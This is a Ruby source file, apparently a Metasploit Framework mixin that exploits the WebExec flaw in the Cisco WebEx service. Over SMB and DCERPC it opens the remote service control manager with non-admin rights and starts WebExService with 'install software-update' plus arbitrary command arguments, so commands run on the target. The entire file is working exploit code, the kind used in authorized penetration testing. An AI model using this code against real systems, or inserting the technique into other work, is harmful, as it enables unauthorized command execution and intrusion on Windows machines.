# -*- coding: binary -*-
require 'rex/proto/dcerpc/svcctl'
require 'windows_error'
require 'windows_error/win32'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/wbemexec'

include WindowsError::Win32

module Msf

####
# Makes use of a WebEx service vulnerability that works similarly to psexec.
#
# This code was stolen straight out of the psexec module which was stolen from
# the standalone Psexec tool. Thanks very much for all who contributed to that
# module!! Instead of uploading and running a binary.
####

module Exploit::Remote::SMB::Client::WebExec

  include Msf::Exploit::Windows_Constants
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client::Authenticated
  include Msf::Exploit::Failure

  def initialize(info = {})
    super
    register_options(
      [
        OptString.new('SERVICE_NAME', [ false, 'The service name', 'WebExService']),
      ], self.class)

    register_advanced_options(
      [
      ], self.class)
  end

  def execute_single_command(command, opts)
    command = command.split(/ /)
    svc_status = opts[:svc_client].startservice(opts[:svc_handle], ["install", "software-update", "1", *command])
    case svc_status
    when ERROR_SUCCESS
      # This happens a lot, so don't print it
      # print_good("Service started successfully...")
    when ERROR_FILE_NOT_FOUND
      print_error("Service failed to start - FILE_NOT_FOUND")
    when ERROR_ACCESS_DENIED
      print_error("Service failed to start - ACCESS_DENIED")
    when ERROR_SERVICE_REQUEST_TIMEOUT
      print_good("Service start timed out")
    else
      print_error("Service failed to start, ERROR_CODE: #{svc_status}")
    end
  end

  # Executes a single windows command.
  #
  # If you want to retrieve the output of your command you'll have to
  # echo it to a .txt file and then use the {#smb_read_file} method to
  # retrieve it.  Make sure to remove the files manually or use
  # {Exploit::FileDropper#register_files_for_cleanup} to have the
  # {Exploit::FileDropper#cleanup} and
  # {Exploit::FileDropper#on_new_session} handlers do it for you.
  #
  # @param command [String] Should be a valid windows command
  # @param disconnect [Boolean] Disconnect afterwards
  # @return [Boolean] Whether everything went well
  def wexec(disconnect=true)
    simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
    handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
    vprint_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    vprint_status("Bound to #{handle} ...")
    vprint_status("Obtaining a service manager handle...")

    svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
    # This is the only permission non-admin gets on Windows 7 (and likely others)
    scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'], 0x00001)

    if scm_status == ERROR_ACCESS_DENIED
      print_error("ERROR_ACCESS_DENIED opening the Service Manager")
    end

    return false unless scm_handle

    # These are the best permissions I could use for a non-admin account on Windows 7
    svc_handle = svc_client.openservicew(scm_handle, datastore['SERVICE_NAME'], 0x00010)

    if svc_handle.nil?
      print_error("No service handle retrieved")
      return false
    end

    vprint_status("Starting the service...")
    begin
      yield({ :svc_client => svc_client, :svc_handle => svc_handle })
    ensure
      vprint_status("Closing service handle...")
      svc_client.closehandle(svc_handle)
    end

    if disconnect
      simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
    end

    true
  end
end
end
